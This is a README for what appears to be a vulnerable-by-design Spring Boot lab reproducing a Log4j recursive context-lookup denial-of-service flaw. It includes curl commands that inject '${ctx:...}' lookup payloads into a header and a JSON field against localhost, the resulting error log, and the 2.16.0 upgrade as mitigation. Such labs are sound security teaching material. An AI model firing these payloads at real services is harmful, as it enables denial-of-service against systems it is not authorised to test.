## Running the application

Run it:

```
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

```

## Exploitation steps

* Then, trigger the exploit using:

```bash
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${ctx:clientRef}"
}'
```


* Notice the output showing Infinite loop, however in testing did not find out that this DOS to be resource consuming as this infinite loop identified by program and error out:

```

${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef

	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	
```

## Mitigation : 

* Log4j 2.16.0 fixes this issue by `removing support for message lookup patterns and disabling JNDI functionality by default`
